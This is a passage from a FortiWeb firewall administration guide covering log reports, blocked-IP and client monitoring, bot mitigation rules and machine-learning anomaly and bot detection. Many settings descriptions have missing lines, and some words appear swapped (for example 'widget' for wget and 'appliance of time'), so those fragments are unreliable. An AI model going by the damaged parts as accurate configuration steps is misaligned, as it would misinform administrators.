(RTF)-formatted reports, and at the top of the page in HTML-formatted reports.
Click OK.
The name of the logo appears next to Custom on the Report Config.
When adding a logo to the report, select a logo file format that is compatible with your selected file format outputs. If
you select a logo that is not supported for a file format, the logo will not appear in that output. For example, if you
provide a logo graphic in WMF format, it will not appear in PDF or HTML output.
Report file formats and their supported logo file formats
PDF reports JPG, PNG, GIF
RTF reports JPG, PNG, GIF, WMF
HTML reports JPG, PNG, GIF
To delete a logo file

Select a Report Config within which you want to delete a logo file.
Expand the Properties section of the Report Config dialog.
Click the Select link beside the logo name you want to remove in either Title Page Logo or Header Logo.
Select the logo to remove.
Click Delete.
Restricting the report’s scope
When configuring a report profile, you can select the time span of log messages from which to generate the report. You
can also filter out log messages that you do not want to include in the report. To start at the beginning of the report
configuration instructions, see To configure a report profile on page 732.
Expand the Report Scope section. Also expand the Time Period and Data Filter sections.
Time Period Select the time span of the report, such as This Month or Last N Days.
Alternatively, select and configure the From Date and To Date.
Past N Hours Enter the number N of the appliance of time.

Past N Days This option appears only when you have selected Last N Hours, Last N
Past N Weeks Days, or Last N Weeks from Time Period, and therefore must define N.
From Date Select and configure the beginning of the time span. For example, you may
Hour want the report to include log messages starting from May 5, 2006 at 6 PM. You
must also configure To Date.
To Date Select to configure the end of the time span. For example, you may want the
Hour report to include log messages up to May 6, at 12 AM. You must also select and
configure From Date.
None Select this option to include all log messages within the time span.
Include logs that match the Select this option to include only the log messages whose values match your
following criteria filter criteria, such as Priority. Also select whether log messages must meet
every other configured criteria (all) or if meeting any one of them is sufficient
(any) to be included.
To exclude the log messages which match a criterion, mark its not check box,
located on the right-hand side of the criterion.
Priority Mark the check box to filter by log severity threshold (in raw logs, the pri field),
then select the name of the severity, such as Emergency, and whether to
include logs that are greater than or equal to (>=), equal to (=), or less than or
equal to (<=) that severity.
Source(s) Type the source IP address (in raw logs, the src field) that log messages must
match.

Note: Source(s) may be the IP address according to an HTTP header such as

X-Forwarded-For: instead of the SRC at the IP layer. For details, see
Destination(s) Type the destination IP address (in raw logs, the dst field) that log messages
must match.
Http Method(s) Type the HTTP method (in raw logs, the http_method field) that log
messages must match, such as get or post.
HTTP Host(s) Type the HTTP host (in raw logs, the host field) that log messages must
match.
HTTP URL(s) Type the HTTP URL that log messages must match.
Only fuzzy matching is supported. For example,
"/this/is/a/test/url3/" is supported, while
"/this/is/a/test/url3/?oramon.inioramon.ini" will cause the
filtering fail.
User(s) Type the administrator account name (in raw logs, the user field) that log
messages must match, such as admin.
Action(s) Type the action (in raw logs, the action field) that log messages must match,
such as login or Alert.
Sub Type(s) Type the subtype (in raw logs, the subtype field) that log messages must
match, such as waf_information.
Policy(s) Type the policy name (in raw logs, the policy field) that log messages must
match.
Service(s) Type the service name (in raw logs, the src field) that log messages must
match, such as http or https.
Message(s) Type the message (in raw logs, the msg field) that log messages must match.
Signature Subclass Type the signature subclass type (in raw logs, the signature_subclass
Type(s) field) that log messages must match.
Signature ID(s) Type the signature ID value (in raw logs, the signature_id field) that log
messages must match.
Source Country(s) Type the source country value (in raw logs, the srccountry field) that log
messages must match.
False Positive Type the specific signature being applied with False Positive Mitigation. The log
Mitigation messages must match the specified signature.
HTTP Referer Type the HTTP referer value that log messages must match.
HTTP Version Type the HTTP version that log messages must match.
Day of Week Mark the check boxes for the days of the week whose log messages you want to
include.
Click OK.

Choosing the type & format of a report profile
When configuring a report profile, you can select one or more queries or query groups that define the subject matter of
the report.
When configuring a report profile, you can configure various advanced options that affect how many log messages are
used to formulate ranked report subtypes, and how results will be displayed.
To start at the beginning of the report configuration instructions, see To configure a report profile on page 732.
Expand the Report Type(s) and Report Format sections.
Report Types Each query group contains multiple individual queries, each of which
correspond to a chart that will appear in the generated report. You can
select all queries within the group by marking the check box of the query
group, or you can expand the query group and then individually select each
query that you want to include:
l PCI Reports
l Attack Activity
l Traffic Activity
l Event activity
For example:
l If you want the report to include charts about both normal traffic and
attacks, you might enable both of the query groups Attack Activity
and Event Activity.
l If you want the report to specifically include only a chart about top
system event types, you might expand the query group Event
Activity, then enable only the individual query Top Event Types.
Report Format
Include reports with no Enable to include reports for which there is no data. A blank report will
matching data appear in the summary. You might enable this option to verify inclusion of
report types selected in the report profile when filter criteria or absent logs
would normally cause the report type to be omitted.
Advanced
In ‘Ranked Ranked reports (top x, or top y of top x) can include a different number of
Reports’ show top results per cross-section, then combine remaining results under “Others.”
For example, in Top Sources By Top Destination, the report includes
the top x destination IP addresses, and their top y source IP addresses,
then groups the remaining results. You can configure both x and y in the
Advanced section of Report Format

In ranked reports, (“top x” report types, such as Top Attack Type), you
can specify how many items from the top rank will be included in the
report. For example, you could set the Top Attack URLs report to include
up to 30 of the top x denied URLs by entering 30 for values of the first
variable 1.. 30.
Some ranked reports rank not just one aspect, but two, such as Top
Sources By Top Destination: this report ranks top source IP addresses
for each of the top destination IP addresses. For these double ranked
reports, you can also configure the rank threshold of the second aspect by
entering the second threshold in values of the second variable for
each value of the first variable 1..30.
Note: Reports that do not include “Top” in their name display all results.
Changing the ranked reports values will not affect these reports.
values of the first Type the value of x.

variable 1.. 30
values of the Type the value of y.

second variable This value is only considered if the report rankings are nested (i.e. top y of
for each value of top x).
the first variable
1.. 30
Include Summary Enable to include a listing of the report profile settings.

Information
Include Table of Contents Enable to include a table of contents for the report.
Click OK.
Scheduling reports
When configuring a report profile, you can select whether the FortiWeb appliance will generate the report on demand or
according to the schedule that you configure.
To start at the beginning of the report configuration instructions, see To configure a report profile on page 732.
Generating reports can be resource-intensive. To improve performance, schedule

reports during times when traffic volume is low, such as at night or during weekends.
To determine the current traffic volumes, see HTTP Throughput Monitor widget on
page 689.

Expand the Schedule section.
Schedules

Not Scheduled Select if you do not want the FortiWeb appliance to generate the report
automatically according to a schedule.
If you select this option, the report will only be generated on demand,
when you manually click the Run now icon from the report profile list.
Daily Select to generate the report each day. Also configure Time.
These Days Select to generate the report on specific days of each week, then mark the
check boxes for those days. Also configure Time.
These Dates Select to generate the report on specific date of each month, then enter
those date numbers. Separate multiple date numbers with a comma. Also
configure Time.
For example, to generate a report on the first and 30th day of every
month, enter 1,30.
Time Select the time of the day when the report will be generated.
This option does not apply if you have selected Not Scheduled.
Click OK.
Selecting the report’s file type & delivery options
When you configure a report profile, you can select one or more file formats in which to save reports generated from the
profile. You can also configure the FortiWeb appliance to email the reports to specific recipients or send them to an FTP
or TFTP server.
To start at the beginning the report configuration instructions, see To configure a report profile on page 732.
Expand the Output section.
File Output Enable file formats that you want to generate and store on the FortiWeb
appliance’s hard drive.
FortiWeb always generates HTML file format reports (as indicated by the
permanently enabled check box), but you can also choose to generate reports
in:
l PDF
l MS Word (RTF)
l plain text (Text), and
l MIME HTML (MHT, which can be included in email)
Email Output Enable file formats that you want to generate for an email that will be mailed to
the recipients defined by the email settings.
Email Policy Select the predefined email settings that you want to associate with the report
output. This determines who receives the report email.

For details about configuring email settings, see Configuring email settings on
page 725.
Email Subject Type the subject line of the email.
Email Body Type the message body of the email.
Email Attachment Name Type a file name that will be used for the attached reports.
Compress Report Files Enable to enclose the generated report formats in a compressed archive, as a
single attachment.
FTP/TFTP Output Select the formats for files that FortiWeb sends to the FTP or TFTP server
specified by FTP/TFTP Policy.
FTP/TFTP Policy Select the policy that defines a connection to the appropriate server. For
details, see Configuring FTP/TFTP policies on page 717.
Click OK.
Viewing & downloading generated reports
Log&Report > Report Browse > Report Browse displays a list of generated reports that you can view, delete, and
download.
In FortiWeb HA clusters, generated reports (PDFs, HTML, RTFs, plain text, or MHT)
are recorded on their originating appliance. If you cannot locate a report that should
have been generated, a failover may have occurred. Reports generated during that
period will be stored on the other appliance. To view those reports, switch to the
other appliance.
Log&Report > Report > Report Browse
Refresh Click to refresh the display with the current list of completed, generated
(icon) reports.
Rename Select the check box next to a report and click Rename to rename it.
(icon)

Report Files Displays the name of the generated report, the date and time at which it
was generated, and, if necessary to distinguish it from other reports
generated at that time, a sequence number.
For example, Report_1-2008-03-31-2112_018 is a report named
“Report_1”, generated on March 31, 2008 at 9:12 PM. It was the
nineteenth report generated at that date and time (the first report
generated at that time did not have a sequence number).
To view the report in HTML format, click the name of the report. The
report appears in a pop-up window.
To view only an individual section of the report in HTML format, click the
blue triangle next to the report name to expand the list of HTML files that
comprise the report, then click one of the file names.
Started Displays the data and time when the FortiWeb appliance started to
generate the report.
Finished Displays the date and time when the FortiWeb appliance completed the
generated report.
Size (bytes) Displays the file size in bytes of each of the HTML files that comprise an
HTML-formatted report.
This column is empty for the overall report, and contains sizes only for its
component files. To see the component files, click the blue expansion
arrow.
Other Formats Click the name of an alternative file format, if any were configured to be
(links) generated by the report profile, to download the report in that file format.
See also
l Configuring logging on page 700

l Reports on page 732
Blocked users
Monitor > Blocked Users displays information about clients for which FortiWeb is currently blocking requests. You
can filter blocked users according to the user tracking rule, site publish rule, or server policy that the user violated. From
this window, you can also release blocked users so that FortiWeb no longer blocks request from those users. To do so,
click the release icon in the Release column.
See also

l Tracking users on page 380

Monitoring currently blocked IPs
Monitor > Blocked IPs displays all client IP addresses whose requests the FortiWeb appliance is temporarily blocking
because the client violated a rule whose Action is Period Block.
If a client was blocked, you can see the reason for the block. For period block based on client management
configurations, the reason is Threat Score Exceeded; for that caused by other features, the reason is N/A.
If a client was inadvertently blocked due to a false positive, you can immediately release it from being blocked by
clicking the Delete icon next to its entry in the table. If it is being blocked by multiple policies, you should delete the
client’s entry under each policy name. Otherwise, the client may still be blocked by some policies.
Alternatively, the IP address will automatically be removed from the list when its block period expires.
If a client frequently is correctly added to the period block list, and is a suspected
attacker, you may be able to improve both security and performance by permanently
blacklisting that source IP address. For details, see Blacklisting & whitelisting clients
using a source IP or source IP range on page 447 and Sequence of scans on page
25.
If the client is not an attacker, in addition to removing his or her IP from this list, you
may need to adjust the configuration that caused the period block, such as adjusting
DoS protection so that it does not block normal request rates. Otherwise, the client
may quickly reappear in the period block list.
See also
l Blacklisting & whitelisting clients using a source IP or source IP range on page 447

Monitoring currently tracked clients
To begin tracking a client, FortiWeb generates a unique client ID according to the cookie or source IP . When a client ID
is generated, FortiWeb also tracks that client's identification type, risk level, and last access time. It is possible to
monitor each client that FortiWeb tracks in the web UI.
To view the monitoring information of currently tracked clients
Go to Monitor > Client Management.
Currently tracked clients can be sorted and filtered according to the following characteristics:
(Refresh Button) Click to update the page with any logs that have been recorded since you
previously loaded the page.
Delete Click to select a range of client data to permanently delete.
Restore Store Select a client and click this button to restore the threat score of a client to 0.
Search Type Select either of the following to search for:

l Client ID
l Risk Level: select a risk level from Unidentified, Trusted, Suspicious,
and Malicious.
Search Click this button to search for the item specified in Search Type.
Clear Click this button to clear the search conditions.
1 Day/3 Days/7 Days Select the time period to show the threat score statistics of a client.
Client ID The unique ID of the client generated, which is used to track a client.
Identification Type This specifies whether FortiWeb tracks the client by the cookie or source IP.
Risk Level This displays the risk level of a client.
Threat Score The sum of the threat weight of all the security violations launched by the
client in last 1/3/7 active days.
For example, a client accesses on May 1, May 3, May 5, and May 6, then the
threat score for last 3 days refer to the sum of May 3, May 5, and May 6.
Creation Time The time when the client monitoring data is created.
Last Access Time The time of the most recent access by the client. This is updated when the
client ID is refreshed.

FortiGuard updates
One of the most important things you can do is to ensure that your FortiWeb is receiving regular updates from the
FortiGuard FortiWeb Web Security service and FortiGuard Antivirus service.
Without these updates, your FortiWeb cannot detect the newest threats.
Event logs record FortiGuard update attempts. In addition to scheduling polls for automatic updates, you can also
manually update the service packages or initiate an connectivity test to the FDN at any time. For details, see
To keep informed about the latest security threats and news, visit:
http://www.fortiguard.com
Vulnerability scans
After your initial deployment, it is a good idea to periodically scan your web servers for newly discovered vulnerabilities
to current threats. If you discover new threats, adjust your configuration to combat them.
Without periodic scans, you may not be aware of the newest threats, and you may not have configured
your FortiWeb defend against them.
For details, see Vulnerability scans on page 656.
If you have many web servers, you may want a appliance to:
l Integrate and automate patch deployment
l Deepen vulnerability scans
l Prioritize and track fixes via ticketing
l Offload and distribute scans to improve performance and remove bottlenecks

Bot mitigation 745
Bot mitigation
To quickly protect websites, mobile apps and APIs from automated threats, you can configure the bot mitigation feature
to check more specific signatures such as client events, and occurrence of suspicious behaviors, etc. of regular clients.
See also
l Configuring threshold based detection on page 745

l Configuring biometrics based detection on page 750
l Configuring bot deception on page 752
l Configuring bot mitigation policy on page 756
Configuring threshold based detection
You can configure threshold based detection rules to define occurrence, time period, severity, and trigger policy, etc of
the following suspicious behaviors, and thus FortiWeb judges whether the request comes from a human or a bot.
l Crawler
l Vulnerability Scanning
l Slow Attack
l Content Scraping
l Illegal User Scan
To configure a threshold based detection rule
1. Go to Bot Mitigation > Threshold Based Detection.

3. For Name, enter a name for the threshold based detection rule that can be referenced in bot mitigation policy.
Bot Detection Settings

Crawler Detection
Occurrence Define the frequency that FortiWeb detects 403 and 404 response codes
returned by the web server. The default value is 100.
Within Specify the time period, in seconds, during which FortiWeb detects the 403
(Seconds) and 404 response codes. The default value is 10.
Action Select which action FortiWeb will take when it detects a crawler:

Bot mitigation 746
message.
of seconds. Also configure Period Block.
Period Block Enter the number of seconds that you want to block subsequent requests from
a client after FortiWeb detects a crawler. The valid range is 1–3,600 seconds
(1 hour).
level FortiWeb will use when it logs a crawler:
l Informative
l Low
l Medium
l High
Trigger Select the trigger, if any, that FortiWeb will use when it logs and/or sends an
Policy alert email about a crawler. For details, see Viewing log messages on page
718.
Vulnerability Scanning Detection
Occurrence Define the frequency that FortiWeb detects attack signatures. The default
value is 100.
Within Specify the time period, in seconds, during which FortiWeb monitors the
(Seconds) attack signatures. The default value is 10.
Action Select which action FortiWeb will take when it detects vulnerability scanning:
message.
a client after FortiWeb detects vulnerability scanning. The valid range is 1–
3,600 seconds (1 hour).

Bot mitigation 747
level FortiWeb will use when it logs vulnerability scanning:
l Informative
l Low
l Medium
l High
Policy alert email about vulnerability scanning. For details, see Viewing log
Slow Attack Detection
HTTP Specify a timeout value, in seconds, for the HTTP transaction. The default
Transaction value is 60.
Timeout
Packet Specify the timeout value, in seconds, for interval between packets arriving
Interval from either the client or server (request or response packets). The default
Timeout value is 10.
Occurrence Define the frequency that FortiWeb detects slow attack activities. The default
value is 5.
Within Specify the time period, in seconds, during which FortiWeb detects slow
(Seconds) attack activities. The default value is 100.
Action Select which action FortiWeb will take when it detects slow attack activities:
message.
a client after FortiWeb detects slow attack activities. The valid range is 1–
level FortiWeb will use when it logs slow attack activities:
l Informative
l Low
l Medium
l High

Bot mitigation 748
Policy alert email about slow attack activities. For details, see Viewing log messages
on page 718.
Content Scraping Detection The content types include text/html, text/plain, text/xml, application/xml,
application/soap+xml, and application/json.
Occurrence Define the frequency that FortiWeb detects content scraping activities. The
Within Specify the time period, in seconds, during which FortiWeb detects content
(Seconds) scraping activities. The default value is 30.
Action Select which action FortiWeb will take when it detects content scraping
activities:
message.
a client after FortiWeb detects content scraping activities. The valid range is
level FortiWeb will use when it logs content scraping activities:
l Informative
l Low
l Medium
l High
Policy alert email about content scraping activities. For details, see Viewing log
Illegal User Scan: Available only when you enable User Tracking in Web Protection Profile.
Request URL Specify the URL used to match requests so that security headers can be
applied to responses of the matched requests.
After filling in the field with a regular expression, it is possible to fine-tune the
side. For details, see Appendix D: Regular expressions .

Bot mitigation 749
Occurrence Define the frequency that FortiWeb detects username in requests. The
Within Enter the length of time, in seconds, which FortiWeb detects frequency of
(Seconds) username in requests. The default value is 10.
Action Select which action FortiWeb will take when it detects illegal user scan:
message.
a client after FortiWeb detects illegal user scan. The valid range is 1–3,600
seconds (1 hour).
Severity When illegal user scan is recorded in the attack log, each log message
level FortiWeb will use when it logs illegal user scan:
l Informative
l Low
l Medium
l High
Policy alert email about illegal user scan. For details, see Viewing log messages on
page 718.
Bot Confirmation Settings

Bot Confirmation
For Browser
Verification l Disabled: Not to carry out the real browser verification.

Method l Real Browser Enforcement: Specifies whether FortiWeb returns a
JavaScript to the client to test whether it is a web browser.
l CAPTCHA Enforcement: Requires the client to successfully fulfill a
CAPTCHA request.
Validation Enter the maximum amount of time (in seconds) that FortiWeb waits for
Timeout results from the client.

Bot mitigation 750
Max Attempt If CAPTCHA Enforcement is selected for Verification Method, enter the
Times maximum number of attempts that a client may attempt to fulfill a CAPTCHA
request.
Available only when the Verification Method is CAPTCHA Enforcement.
For Mobile Available only when Mobile Application Identification is enabled in System >
Client App Config > Feature Visibility.
Verification l Disabled: Not to carry out the mobile token verification.
Method l Mobile Token Validation: Requires the client to use mobile token to
5. Click OK.
6. You can view the details of the created rule in the threshold based detection rule table.
To apply the threshold based detection rule in a bot mitigation policy, see Configuring bot mitigation policy on page 756.
Configuring biometrics based detection
By checking the client events such as mouse movement, keyboard, screen touch, and scroll, etc in specified period,
FortiWeb judges whether the request comes from a human or from a bot. You can configure the biometrics based
detection rule to define the client event, collection period, and the request URL, etc.
To configure a biometrics based detection rule
1. Go to Bot Mitigation > Biometrics Based Detection.

Name Type a unique name for the rule that can be referenced in other parts of the
configuration.
Monitor Client Events Select at least one client event according to your need.
l Mouse Movement
l Click
l Keyboard
l Screen Touch
l Scroll
The default values are Mouse Movement, Click, and Keyboard.
Event Collection period Specify how long the events will be collected from the client.
Bot Effective Time For the identified bot, choose the time period before FortiWeb tests and
verifies the bot again.

Bot mitigation 751

message.
l Informative
l Low
l Medium
l High
4. Click OK.
6. Configure these settings：
HTTP request must be in to match the biometrics based rule.
Type Select whether the Configuring biometrics based detection on page

750 field must contain either:
exactly.
Request URL Depending on your selection in Configuring biometrics based

detection on page 750, enter either:
l The literal URL, such as /folder1/index.htm that the HTTP
request must contain in order to match the rule, or use wildcards
to match multiple URLs, such as /folder1/* or
/folder1/*/index.htm. The URL must begin with a slash (
/ ).
the URLs to which the input rule should apply. The pattern does
not require a slash ( / ).; however, it must at least match URLs

Bot mitigation 752
When you have finished typing the regular expression, click the
>> (test) icon.
can finetune the expression. For details, see Appendix D:
7. Click OK.
Configuring bot deception
To prevent bot deception, you can configure the bot deception policy to insert link in HTML type response page. For
regular clients, the link is invisible, while for malicious bots like web crawler, they may request the resources which the
invisible link points at.
To configure the bot deception policy
1. Go to Bot Mitigation > Bot Deception .

Deception URL Specify the deception URL to be inserted in the HTML response page, which
can be either an absolute path or a relative path, for example,
http://www.example.com/bot_deception.html or /bot_
deception.html. When a relative path is used, the request host is the
current host that the broswer is accessing.
message.
a client after FortiWeb detects that the client has violated the policy. The valid
range is 1–3,600 seconds (1 hour).

Bot mitigation 753
l Informative
l Low
l Medium
l High
4. Click OK.
You can also specify the pages that FortiWeb will add the deception URLs to.
configuration.
HTTP request must be in to match the bot deception policy.
either:
exactly.
l The literal URL, such as /folder1/index.htm that the HTTP
request must contain in order to match the rule, or use wildcards
to match multiple URLs, such as /folder1/* or
/folder1/*/index.htm. The URL must begin with a slash (
/ ).
the URLs to which the input rule should apply. The pattern does
not require a slash ( / ).; however, it must at least match URLs
When you have finished typing the regular expression, click the
>> (test) icon.
can finetune the expression. For details, see Appendix D:

Bot mitigation 754
7. Click OK.
FortiWeb only tries to insert deception URL for matched URLs for HTML type pages, and if no URL table is defined,
FortiWeb will not insert deception URL in any page. In addition, FortiWeb checks the content-type of the matches
HTML response page.
To apply the bot deception policy in a bot mitigation policy, see Configuring bot mitigation policy on page 756.
Configuring known bots
Known Bots protects your websites, mobile applications, and APIs from malicious bots such as DoS, Spam, and
Crawler, etc, and known good bots such as known search engines without affecting the flow of critical traffic.
This feature identifies and manages a wide range of attacks from automated tools no matter where these applications
or APIs are deployed.
Two predefined known bots rules are available here. You can also configure new known bots rules and apply the rules in
a bot mitigation policy, see Configuring bot mitigation policy on page 756.
To configure a known bots rule
1. Go to Bot Mitigation > Known Bots.
Name Type a name that can be referenced by other parts of the configuration.
Status Click to enable or disable the bot check for this rule.
Action In each row, select the action that FortiWeb takes when it detects a
violation of the rule.
message.
number of seconds. Also configure Period Block on page 755.

Bot mitigation 755

protection profile and generate an alert email and/or log message.
Reason on page 228.

l Bypass—Accept the request.
Note: Logging and/or alert email will occur only if enabled and configured.
Period Block In each row, type the number of seconds that you want to block subsequent
requests from the client after the FortiWeb appliance detects that the client
contains a Severity Level (severity_level) field. In each row, select
which severity level the FortiWeb appliance will use when it logs a violation
of the rule:
l Informative
l Low
l Medium
l High
Threat Weight Set the weight for the threat by dragging the bar.
when it logs and/or sends an alert email about a violation of each rule. For
Bot List Click to select the bots not to be scanned.
Malicious Bots Configure to analyze the User-Agent: HTTP header and block known
content scrapers, spiders looking for vulnerabilities, and other typically
unwanted automated clients.
Link checkers, retrievals of entire websites for a user’s offline use, and other
automated uses of the web (sometimes called robots, spiders, web crawlers,
or automated user agents) often access websites at a more rapid rate than
human users. However, it would be unusual for them to request the same
URL within that time frame.

Bot mitigation 756
Usually, web crawlers request many different URLs in rapid sequence. For
example, while indexing a website, a search engine’s web crawler may
rapidly request the website’s most popular URLs. If the URLs are web pages,
it may also follow the hyperlinks by requesting all URLs mentioned in those
pages. In this way, the behavior of web crawlers differs from a typical brute
force login attack, which focuses repeatedly on one URL.
Some robots, however, are not well-behaved. You can request that robots
not index and/or follow links, and disallow their access to specific URLs (see
http://www.robotstxt.org/). However, misbehaving robots frequently ignore
the request, and there is no single standard way to rate-limit robots.
To verify that bad robot detection is being applied, attempt to download a
web page using widget (http://www.gnu.org/software/wget), which is
sometimes used for content scraping.
Known Good Bots Configure to exempt popular search engines’ spiders from DoS sensors,
brute force login sensors, HTTP protocol constraints, combination rate &
access control (called “advanced protection” and “custom policies” in the web
UI), and blocking by geographic location (Geo IP).
This option improves access for search engines. Rapid access rates, unusual
HTTP usage, and other characteristics that may be suspicious for web
browsers are often normal with search engines. If you block them, your
websites’ rankings and visibility may be affected.
By default, this option allows all popular predefined search engines. Known
search engine indexer source IPs are updated via FortiGuard Security
Service. To specify which search engines are exempted, click and select
the search engines, then click OK. See also Blacklisting known bots on page
449.
4. Click OK.
5. To apply the known bots rule, select it in Configuring bot mitigation policy on page 756.
Configuring bot mitigation policy
Once you have configured the bot deception policy, the biometrics based detection rule, threshold based detection rule,
and known bots rules, you can integrate them in a bot mitigation policy, and apply the policy in the web protection profile
for bot mitigation. Two predefined mitigation policies are available here.

Bot mitigation 757
To configure a bot mitigation policy
1. Go to Bot Mitigation > Bot Mitigation Policy.

Name Type a unique name for the policy that can be referenced in other parts of the
configuration.
Bot Deception Select a bot deception policy from the drop down list.
Biometrics Based Detection Select a biometrics based detection rule from the drop down list.
Threshold Based Detection Select a threshold based detection rule from the drop down list.
Known Bots Select a predefined or newly created known bots rule from the drop down list.
4. Click OK.
To select a bot mitigation policy in a web protection profile
3. Select an existing web protection profile to which you want to include the bot mitigation policy.
4. Click Edit.
5. For Bot Mitigation > Bot Mitigation Policy, select the bot mitigation policy from the drop down list.
Note: To view details about a selected bot mitigation policy, click the view icon next to the drop down list.
6. Click OK.

Machine learning
Starting with the 6.0 release, FortiWeb offers a machine-learning function that enables it to automatically detect
malicious web traffic and bots . In addition to detecting known attacks, the feature can detect potential unknown zero-
day attacks to provide real-time protection for web servers.
Machine Learning is intended to replace Auto Learn, which is now removed from 6.1 release.
Anomaly detection
The anomaly detection model of machine learning feature observes the URLs, parameters, and HTTP Method of HTTP
and/or HTTPS sessions passing to your web servers. It builds mathematical models to detect abnormal traffic. To learn
about whether a request is legitimate or a potential malicious attack attempt, it performs the following tasks:
l Captures and collects inputs, such as URL parameters, to build a mathematical model of allowed access
l Observes the HTTP method of the traffic
l Matches anomalies against pre-trained threat models
l Detects attacks
FortiWeb employs two layers of machine learning to detect malicious attacks. The first layer uses the Hidden Markov
Model (HMM) and monitors access to the application and collects data to build a mathematical model behind every
parameter and HTTP method. Once completed, it will verify every request against the model to determine whether it's
an anomaly or not.
Once the first layer of machine learning triggers a request as an anomaly, FortiWeb will use the second layer of machine
learning to verify whether it's a real attack or just a benign anomaly that should be ignored. To do so, FortiWeb includes
pre-built trained threat models. Each represents a certain attack category, such as SQL Injection, Cross-site Scripting,
and so on. Each threat model is already trained based on analysis of thousands of attack samples. Threat models are
continuously updated using the FortiWeb Security Service. When new attack types are released, the FortiGuard team
analyzes the new threats and re-trains the relevant threat model. The new threat model is then pushed to all customer
installations in a way similar to how signatures are updated.
See Configuring anomaly detection policy for more information.
Bot detection
The AI-based machine learning bot detection model complements the existing signature and threshold based rules. It
detects sophisticated bots that can sometimes go undetected. The bot detection model observes user behaviors from
thirteen dimensions, for example, how many times of HTTP requests are initiated by the user, whether the request uses
illegal HTTP versions, whether it fetches JSON/XML resources, etc.
Compared with the traditional mechanisms to detect bots, the bot detection model saves you the trouble to experiment
on an appropriate threshold to detect abnormal user behaviors. For example, how could you know how many times of
HTTP requests initiated by a user should be considered as abnormal? With the traditional mechanism, you may need to
experiment on different threshold values and continuously check the attack log until no related attack logs are reported
for the regular traffic.
Things are much easier if you use the bot detection model. FortiWeb uses SVM (Support Vector Machine) algorithm to
build up the bot detection model that self-learns the traffic profiles of regular clients. When the traffic from a new client
flows in, it is compared against that of the regular clients. If they don't match, the bot detection model classifies the new
client as an anomaly. When the traffic profiles of the regular clients vary dramatically (e.g. the functions of your
application have changed, so that users behave differently when they visit your application), FortiWeb automatically
refreshes the bot detection model to adapt to the changes.

Moreover, test shows that the bot detection model performs much better, specially when it detects crawlers and
scrapers. The traffic is comprehensively evaluated from 13 dimensions. It helps increase the detection accuracy and
decrease the false positive rate.
See Configuring bot detection profiles for more information.
Enabling machine learning policy
To take advantage of FortiWeb's machine-learning feature, you must enable it first. You can start the process by
creating a machine-learning profile.
To create a machine-learning profile:
1. Click Policy >Server Policy.
2. Select an existing server policy or create a new one by clicking Create New > Create HTTP Policy.
3. Scroll down to the Machine Learning section at the bottom of the page, click the Anomaly Detection tab or the
Bot Detection tab, then click Create. The New Machine Learning dialog opens.
Note: If you are creating a new server policy, you must complete the Network Configuration on this page first,
then create a machine learning policy.
4. If you want to create an anomaly detection profile:
o Click the + (Add) sign after the Domain filed to add the desired domains, so that the system collects samples
and builds up a machine learning model for the domains.

o Click the + (Add) sign after the IP Range field to add IP/Range, then select Trust or Black to limit the system
to collect data only from the trusted IP range, or exclude the IP range when collecting data. Leave this field
empty to collect data from all sources.
5. If you want to create a bot detection profile:
o Click the + (Add) sign after the IP Range field to add IP/Range, so as to limit the system to collect data only
from the specified IP range. Leave this field empty to collect data from all sources.
6. Click Create to enable Machine Learning.
Once enabled, the Machine Learning section will show the following control buttons. You can go to Machine Leaning
> Anomaly Detection or Machine Leaning > Bot Detection to configure the machine learning profiles you have
created.
Button Function
View Click to view and edit machine learning policies and their learning results.
Note: You can also access the Machine Learning page by clicking Machine
Learning>Machine Learning Policy, and then selecting a specific profile.

Button Function
Start/Stop Click to start/stop Machine Learning for the policy.
Refresh Click to restart machine learning for all URLs in the policy.
Note: This will discard all existing learning results and then relearn all data.
Discard Click to remove all learned URLs from the profile.
Note: FortiWeb will not re-learn those URLs.
Export Click to export all the data generated by the machine learning policy.
Import Click to import the machine learning data from your local directory to FortiWeb.
Note: The machine learning data generated in FortiWeb 6.0 cannot be imported
in FortiWeb 6.0.1, and vice versa.
Configuring anomaly detection policy
Anomaly detection policies are part of a server policy. They are created on the Policy > Sever Policy page. All
anomaly detection policies that you create will show up on the Machine Learning > Anomaly Detection page, where
you can configure or edit them to your preference.
To configure an anomaly detection policy:
1. Click Machine Learning > Anomaly Detection .
2. Double-click the server policy that contains the desired anomaly detection policy (or highlight it and then click the
Edit button on top of the page) to open it. The Edit Anomaly Detection Configuration page opens, which
breaks down anomaly detection policy into several sections, each of which has various parameters you can use to
configure the policy.
3. Follow the instructions in the following subsections to configure an anomaly detection policy.
4. Click OK when done.
Sections & Parameters Function
Learning Cycle
Sample Collection mode When a sample is collected, the system generalized it into a
Sample Collection Period pattern. For example, “[email protected]” and “abcdefgecdf_
[email protected]” will both be generalized to the pattern “A_
[email protected]”. The anomaly detection model is built based on the
patterns, not the raw samples.
Extended: In Extended mode, it's required to also set the
learning time. In extended mode at least 2500 samples will be
collected and the sample collection period lasts for the specified
weeks. For example, if you choose extended mode and set 1
week, the system stops collecting samples after 1 week if at least
2500 samples are collected by then, or continues collecting
samples after 1 week until 2500 samples are collected.

Normal:In Normal mode, the system builds an initial model when

the sample count reaches 400.
The system runs the initial model to detect anomalies, while it
keeps collecting more samples to refine it.
Once the number of samples accumulates to 1200, the system
will evaluate whether the patterns vary largely since the initial
model is built.
l If there are very few patterns generalized, it indicates the
patterns are stable. The system will switch the initial model
to a standard model.
l If a lot of new patterns keeps coming in, the system will
continue collecting more samples to cover as much patterns
as possible. It won't switch to standard model until the
patterns become stable.
The above mentioned numbers 400 and 1200 are configurable
through CLI. Refer to config waf machine-learning-
policy in FortiWeb CLI Reference.
Whether in extended or normal mode, the system keeps
refining the model even after it's in running status.
Dynamically update when parameters change Applications change frequently as new URLs are added and
existing parameters provide new functions. This means the
mathematical model of the same parameter might be different
from what FortiWeb originally observed during the collection
phase. In this case, FortiWeb needs to rebuild the mathematical
model for the parameter.
Enable this option to automatically update the mathematical
models of the parameters when they are changed.
HMM Parameter Model Update
Application Change Sensitivity This option appears when you enable Dynamically update
when parameters change.
The system uses boxplots to determine whether a parameter has
changed. The boxplot displays the probability distribution of the
parameter value. During sample collection period, the system
generates 2 or 4 boxplots. After anomaly detection model is built,
the system will keep on generating new boxplots to display the
probability distribution of the new inputs. If the probability
distribution area of the newly generated boxplot doesn't overlap
with any one of the sample boxplots, the system determines this
parameter has changed.
For more information on boxplots, see Probability Boxplots.
Depending on the Application Change Sensitivity level, the
system triggers model update when it observes different extent of
overlapping area.
l Low—The system triggers model update only when the

entire data distribution area (from the maximum value to the

minimum value, that is, the entire area containing all the
data) of the new boxplot doesn't have any overlapping part
with that of the sample boxplots.
l Medium—The system triggers model update if the notch
